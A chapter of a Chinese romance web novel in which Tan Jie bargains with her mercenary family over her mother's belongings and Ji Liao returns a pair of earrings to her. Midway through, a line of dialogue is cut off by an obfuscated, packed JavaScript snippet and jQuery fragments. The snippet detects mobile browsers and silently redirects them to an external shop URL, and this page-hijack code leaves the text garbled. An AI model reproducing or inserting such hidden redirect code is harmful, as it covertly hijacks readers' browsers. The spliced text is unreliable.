27. 金羊毛
作品:《金羊毛》 “看你很有精神,不如做点别的事。”男人徐徐开口。
谈婕接连不断地重复着不用,旋即缩进被子里,竭力假装无事发生。
这夜,谈婕梦见了许多从前的事。梦醒时,她眼角尚有未干的泪痕。手臂又酸又麻,似乎是被身子压久了的缘故。
窗外天光大亮,红日高悬,是个好天气。
虽然还是一如既往的冷。
谈婕转身查看,昨夜同床共枕的人已经离开,她伸手贴了贴枕头,已经失了温度。
看来是很早便走了。
回想起昨晚发生的种种,谈婕止不住的脸颊发烫。
这还是重逢后他们第一次长时间单独相处。谈婕恍然发觉,原来只觉得习以为常的情景,不知何时已经让她格外陌生,反倒不大习惯了。
洗漱过后,谈婕接到了乔蕙的电话。
关于上次与他们团队合作拍摄的短片正在进行后期制作,而谈婕这边准备的作品也得到了大家的一致认可。
乔蕙当即化身无情夸夸机器,“我本来已经做好被甲方摧残的准备了,没想到那边居然一次过!小羊老师,这回我真的要膜拜你了!”
谈婕笑了笑,“也少不了大家的帮助。”
说来惭愧。
这次交的作品,她耗费的时间并不多。可以说,从灵感生成到着手制作,谈婕只用了不到一周。
初稿形成后,结合工作室其他人的建议,谈婕做出了修改。
她的工作室有个小群,除了谈婕和乔蕙,还有上次见面的陈瑶和赵宣,以及发起人贺潜。
乔蕙将喜讯传到群内,陈瑶立刻连发了几个鼓掌的小表情,“开门红呀,希望会越来越好。”
赵宣也发了一句,“希望日后的合作会越来越顺利。”
过了半晌,贺潜的消息传来,“上次小婕有事,后续的一些事项我们还没谈。最近乔助理那边不是接了几个新合作吗,我们找个机会详细聊聊。”
语气平和,却不是谈婕期待的模样。
贺潜向来和她有事说事,许多矛盾和问题都会在第一时间提出并化解。
谈婕住在国外的那段时间里,贺潜偶尔会回到家里,但与父亲冯尧的关系并不好。有时气急,难免引发争吵。
贺潜毕竟是小辈,做不得太过分的事。每次冲突结束,他不愿回住处时,就会敲响阁楼小房间的门。
一进入房间,贺潜便迫不及待地将心中的苦闷一股脑地说出来。那时年纪小,讲话没什么顾忌,他的心绪都明明白白地写在脸上。
起初谈婕还会安慰几句,后面听多了,只觉得耳朵生了茧,半开玩笑地对贺潜道,“你现在吵架后的神情,和两年前如出一辙。”
贺潜知道她没有恶意,但还是颇为委屈地偏过头,说话的口吻带着点憋闷,“我被骂了,你非但不心疼,还在这里肆意取笑。早知如此,当初就不认你这个妹妹了。”
谈婕哑然失笑,“当年你还承诺说会永远保护我呢,如今变得这么脆弱,我对你的业务能力持怀疑态度。”
看了眼手机屏幕,贺潜现在的态度算得上反常。
谈婕叹了口气,她和纪燎的事,一时半会是解释不清的。
也许只能等到两人结束这段潦草的婚姻,贺潜才能真正放下心来,他们的芥蒂也会跟着消除。
贺潜总说,她与纪燎在一起是不幸福的。
事实也印证了这一观点。
然而,命运却将他们再次绑定。
感情这种事,无关是非,不分对错。
她迅速打字回复了好的,顺手与旁人客套几句。
凭着记忆按下号码,等了两分钟,那边迟迟回应,“姐姐?”
听到这声姐姐,谈婕立刻明白,谈颂大概率是在家中,而那些令她厌烦的家人,也许就在谈颂的身边。
她开门见山,“我结婚的消息你们应该也都看到了,告诉阿姨,我要取回属于我的东西。”
没等谈颂出声,冯若琳的声音已经从那头清晰而尖锐地传了过来,“阿姨?谈婕,我怎么养出你这么个白眼狼!你对家里的事情不上心也就罢了,现在这个称呼难道是要和我,还有你爸爸断绝关系吗?”
“我没时间和你们谈论这些,当初说好的事,你们不会反悔吧。”
谈颂冷哼,“那是爸做的决定,况且你亲妈的遗物里也没什么值钱的东西,自然不会少了你的。只不过,你应该明白家里催你结婚的目的是什么。”
“小婕,”电话忽然被谈风拿了去,昔日冷冰冰的态度现在却变得柔和,“你可能还不明白,你现在嫁的人是纪家大公子,榕城多少千金小姐梦寐以求的良人。爸爸希望你能在他身边找到幸福,同时,为家里寻得一位助力。”
很明显,最后这句才是谈风的真心话。
纪燎在他眼中就如同一棵枝叶繁茂的摇钱树,一旦傍上,便要狠狠吸血,蛀虫一样紧紧缠着,甩都甩不掉。
雨夜当日,谈婕已经看透了他们的真面目。
“直说吧,需要我……从纪家拿多少钱?”
事情发展到现在,俨然变成了一场金钱交易。她只是想留着对母亲最后的念想,平常儿女轻而易举便能做到的事,谈婕却要付出十倍甚至百倍的代价。
她心痛,也恨自己的无力。
听到谈婕的妥协,谈风忍不住笑出声,“女儿长大了,懂得为爸爸分忧了。”
谈婕顿时有种想吐的冲动。
紧接着,谈风给出了一个数字。
两亿。
谈风语重心长,“这点钱对于纪家而言只是洒洒水,可在我们家就不一样了。小婕,纪燎既然肯和你结婚,必然对你有着深厚的感情,这在豪门可不常见,你得好好把握机会。”
事已至此,谈婕根本不想和这人再有什么进一步的交流。
人心不足蛇吞象。
她紧紧握着手机,指尖泛白,“可以,但你得先将我自己的东西还回来。”
谈婕指的是纪燎当年送给她的那对耳坠。毕竟是别人的物品,她一拖再拖实在不妥。
“可以,”谈风点了点头,“我叫小颂给你拿回去。你们自己慢慢商量吧。”
电话再次回到谈颂手中。
“我给你发地址,把东西寄过来。”谈婕径直道。
谈颂也不含糊,“好。”
紧接着,谈颂的消息中出现了一个定位分享。她点进去查看,意外地发现这里竟然是一座庄园。
谈颂不由得轻呼,“你现在住哪?”
“我已经结婚了,你说呢。”
那头顿了顿,随后道,“我还以为你有多厉害呢,没想到还是要靠别人才能逃离这个家。”
谈婕觉得好笑,“是谁一而再再而三地给我介绍那些富家子弟?上至六十岁老汉下至十九岁智力障碍,你们为了翻身还真是什么也不挑。这么有志气,不如你去?”
说罢,她挂断电话,将手机随意丢到床上。
有些人与她血脉相连,却时时刻刻将刀架在她的脖颈。
甚至不如……谈婕的脑中忽然出现某人的身影。
要她从纪燎那里求取钱财,根本不可能。
***
开车载着纪燎回到住处,秦牧脸色不对,心事重重。他几次望着后视镜想要开口,最终还是选择沉默。
直到车子驶进停车位,纪燎眸色淡淡瞧他一眼,“有什么事不妨直说。”
“纪总,你别怪我多嘴啊,”秦牧神情严肃,“你和谈小姐的关系已经满城皆知,现在老爷子那边却迟迟没有动静,我猜测可能是在酝酿什么大动作,恐怕会对你不利。所以……你的婚事是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12885187|134642||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是要再斟酌?”
纪燎似乎并未将他的话放在心上,“她是我的合法妻子,还需要怎么斟酌?”
秦牧叹了口气,“二公子的遭遇你也知道,若是坚持不放手,不仅会殃及你在纪家的地位,同时也会让谈小姐饱受痛苦啊。纪总,虽然我跟你的时间不长,但你在我心里一直是个好老板。行事沉稳,规划长远。可自从谈小姐出现之后,你的很多行为都让我不太理解……”
纪燎嗯了一声,“是我自愿,与她无关。若将来我出事,我会安排好一切,不让她受牵连。”
他面色平静地说出这段话,听者却不然。
秦牧从未怀疑过纪燎行事的能力,但他不明白。
纪总他……图什么呢?
依他对谈婕的印象,她与纪燎确实存在说不清道不明的暧昧关系,但并未上升到可以为一个人披荆斩棘不惧生死的程度。
除非。
冰山之下,掩盖着更加浓烈的东西。
深不见底,难以测算。
他不再问下去。
纪燎回到家中。
谈婕回了趟家,将一些惯用的生活用品全部带了回来。这里虽然有很多新的,但她用着总归不习惯。
纪燎开门时,见到的便是谈婕抱起沉重的画架,小心翼翼踩楼梯的场景。
他微微挑眉,疾步来到她身后,强行夺下她手里的重物。
其实,谈婕方才已经听见他进门的声响。
但她还是觉得尴尬。
两人间时常存在着一种奇异的氛围,冰冷又滚烫,熟悉又陌生。
“谢谢你。”谈婕低垂着头,低声道。
纪燎不置可否,帮着她将画架搬到楼上的空房间。这里是谈婕的私人空间,当然,这是纪燎允许的。
画架上叠着几张纸,谈婕不想让男人看到自己涂鸦的画作,于是将正面转向墙壁。
眼见氛围再次凝固,她突然出声,“对了,你的东西已经寄到了这里。”
谈婕说着,风风火火地踩着拖鞋来到卧室,将包裹了好几层箱子的耳坠递给纪燎。
“这个是你当年送我的,现在物归原主,”她想了想,又道,“我检查过了,没有破损,没有落灰,一切完好。”
纪燎问,“有没有戴过?”
“没有,”谈婕生怕他会怀疑自己,摆摆手道,这么贵重的首饰我不会随身携带,顶多定期拿出来欣赏。”
男人不理会她的话,执意打开盒子。
谈婕顿时产生了被人不信任的感觉,她撇撇嘴,转身欲走开。
肩膀被人按住,“过来。”
不会吧,难道真的出了意外?
她本来就因为家里的破事莫名其妙背上了巨额欠款,现在还要赔偿这对耳坠。
——怎么厄运都在同一天降临。
谈婕望着纪燎手中完好无缺的耳坠,松了口气,“你看看,明明没事。”
她心底生出自信,竟也不自觉地对上男人的目光。
霎时,纪燎俯身贴近她的脸。谈婕脚步微顿,还是没躲,选择闭上眼睛。
耳朵传来温热的触感,女人这才后知后觉地意识到。
这不是接吻。
纪燎为她戴上耳坠。
视线扫过脸庞,纪燎评价道,“很美。”
谈婕怔愣片刻,“你这是什么意思?”
“既是在你那里待久了的,我也没必要收回。”纪燎言简意赅地回应。
谈婕不信他的说辞,“可你之前还说让我不要霸占你的东西。”
事出反常必有妖。
这是她一以贯之的人生信条。
纪燎缓了缓,给出回答,“因为那时你只是谈小姐,现在是纪太太。”
算了。
在他面前,一切算计都是徒劳。